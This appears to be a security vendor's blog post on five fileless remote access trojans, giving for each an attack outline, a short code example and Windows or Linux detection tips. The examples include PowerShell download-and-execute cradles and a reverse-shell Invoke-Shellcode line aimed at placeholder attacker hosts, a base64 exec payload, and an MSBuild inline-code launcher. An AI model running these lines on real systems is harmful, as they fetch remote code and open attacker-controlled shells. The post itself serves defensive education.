Top 5 Fileless Remote Access Trojans in 2025

By Clinton Nwezeaku
on May 14, 2025

It’s 2025, and cybercriminals are more covert than ever. One technique that continues to evolve and evade traditional defense systems is the use of fileless Remote Access Trojans (RATs). These aren’t your typical malware payloads. They don’t write to disk, they don’t leave traditional footprints, and they’re a nightmare for signature-based antivirus solutions. I’ve encountered several of these in wild incident response investigations, and they’re as silent as they are deadly.

In this post, I’ll walk through the top five fileless RATs that are actively being used in 2025, share how they operate without ever touching the disk, and dive into how I’ve personally dealt with detecting and dissecting them.

Before we dig in, let’s get clear on what exactly makes a Remote Access Trojan “fileless.”

-Book Your Free Security Consultation Now!

What Are Fileless Remote Access Trojans?

Traditional RATs typically involve a dropper that writes a binary to disk. That file is then executed, establishing remote control over the victim’s machine. Fileless RATs skip the disk altogether. Instead, they:

Execute malicious code directly in memory using PowerShell, WMI, or macros
Often live in legitimate processes like explorer.exe, powershell.exe, or wscript.exe
Use system-native tools and memory injection techniques to persist

This makes them incredibly difficult to detect unless you’re watching memory, behavior, and command-line activity in real-time.

Here’s a basic example of how a fileless RAT could be initiated using PowerShell:

				
					IEX(New-Object Net.WebClient).DownloadString("http://malicious-domain.com/payload.ps1")

This single line is enough to pull and execute a full RAT in memory without writing anything to disk.

-Check out this post on ResolverRAT: Detecting Syealthy .NET Malware

1. PowerRAT

Overview: A PowerShell-based RAT that uses Invoke-Expression and reflective loading to execute code pulled from remote servers.

Implementation Strategy

Embedded inside Microsoft Office macros
Establishes C2 via DNS or HTTPS
Uses Register-ScheduledTask for persistence

Code Example:

				
					$script = (New-Object Net.WebClient).DownloadString("https://malicious.site/script")
Invoke-Expression $script

Detection Strategy (Windows)

Use Windows Event Logs (ID 4104) to monitor suspicious PowerShell execution. Pair this with AMSI logging and ETW traces for real-time detection.

2. CobaltRAT (Fileless Variant)

Overview: Built on Cobalt Strike’s Beacon payloads, this fileless version loads shellcode via PowerShell, avoiding detection.

Implementation Strategy

Delivered via a HTA or macro
Shellcode injected using Invoke-Shellcode
Avoids dropping artifacts by using obfuscated memory

Code Example:

				
					Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost attacker.com -Lport 443

Detection Strategy (Windows/Linux)

Monitor for suspicious child processes of Office apps. Watch for outbound connections to known Cobalt Strike infrastructure using Suricata rules.

3. PhantomRAT

Overview: Leverages WMI and Registry-based persistence to live off the land. Communicates via encoded PowerShell commands.

Implementation Strategy

Encodes payloads in WMI class properties
Triggers execution using WMI Event Subscription

Code Example:

				
					$code = Get-WmiObject -Namespace "root\subscription" -Class "__EventFilter" | select -ExpandProperty EventNamespace
Invoke-Expression $code

Detection Strategy (Windows)

Use Sysmon to detect WMI subscriptions and encoded command-line arguments. MITRE ATT&CK technique T1084 applies here.

4. GhostPy

Overview: A Python-based fileless RAT that runs entirely in-memory using in-memory execution libraries like pyexecjs or exec() with base64 payloads.

Implementation Strategy

Dropped into memory via remote code execution (RCE)
Communicates over WebSocket or HTTP with a proxy layer

Code Example:

				
					import base64
exec(base64.b64decode("ZGVmIHN0ZWFsX2ZpbGVzKCk6CiAgICAjc29tZSBjZW50cmFsIGZ1bmN0aW9uIHRvIHN0ZWFsIGZpbGVzCiAgICBwYXNz"))

Detection Strategy (Linux/Cloud/Container)

Monitor memory usage anomalies and Python subprocesses initiated by web servers. Use eBPF or Falco for container-based systems.

5. NullShell

Overview: This RAT doesn’t even use PowerShell. Instead, it leverages MSBuild.exe to execute malicious C# inline code.

Implementation Strategy

Delivered via XML project files that are disguised as benign builds
Executes code using CodeTaskFactory

Code Example

				
					<UsingTask TaskName="CustomTask" TaskFactory="CodeTaskFactory" AssemblyFile="Microsoft.Build.Tasks.v4.0.dll">
  <Task>
    <Code Type="Class" Language="cs">
      <![CDATA[
        public class CustomTask : Task {
          public override bool Execute() {
            System.Diagnostics.Process.Start("cmd.exe", "/c powershell.exe ...");
            return true;
          }
        }
      ]]>
    </Code>
  </Task>
</UsingTask>

Detection Strategy (Windows)

Hunt for odd usage of MSBuild.exe. No regular user launches this binary. Set up alerts for command-line execution involving .xml files.

Conclusion

Fileless Remote Access Trojans are redefining the rules of endpoint security in 2025. They blend into trusted processes, leave no trace on disk, and use legitimate tools against the system they’re attacking. This makes them not just stealthy, but formidable.

I’ve seen teams struggle with detection simply because they were still relying on traditional antivirus or endpoint detection tools. The key to defense lies in:

Behavioral detection
Memory scanning
Log correlation and audit
Runtime analysis

RATs like PowerRAT and NullShell are likely to remain favorites among APTs and cybercriminals alike. If you’re defending infrastructure in 2025, fileless techniques should be on your threat modeling radar.

Why Businesses Trust SecureMyOrg for Comprehensive Network Security

At SecureMyOrg, we uncover and fix all possible security vulnerabilities of mobile and web, while providing solutions to mitigate risks. We are trusted by renowned companies like Yahoo, Gojek and Rippling, and with 100% client satisfaction, you’re in safe hands!

Some of the things people reach out to us for –

Building their cybersecurity program from scratch – setting up cloud security using cost-effective tools, SIEM for alert monitoring, building policies for the company
Vulnerability Assessment and Penetration Testing ( VAPT ) – We have certified professionals, with certifications like OSCP, CREST – CPSA & CRT, CKA and CKS
DevSecOps consulting
Red Teaming activity
Regular security audits, before product release
Full time security engineers.

Top 5 Fileless Remote Access Trojans in 2025

Table of Contents

What Are Fileless Remote Access Trojans?

1. PowerRAT

Implementation Strategy

Code Example:

Detection Strategy (Windows)

2. CobaltRAT (Fileless Variant)

Implementation Strategy

Code Example:

Detection Strategy (Windows/Linux)

3. PhantomRAT

Implementation Strategy

Code Example:

Detection Strategy (Windows)

4. GhostPy

Implementation Strategy

Code Example:

Detection Strategy (Linux/Cloud/Container)

5. NullShell

Implementation Strategy

Code Example

Detection Strategy (Windows)

Conclusion

Why Businesses Trust SecureMyOrg for Comprehensive Network Security

Relevant Posts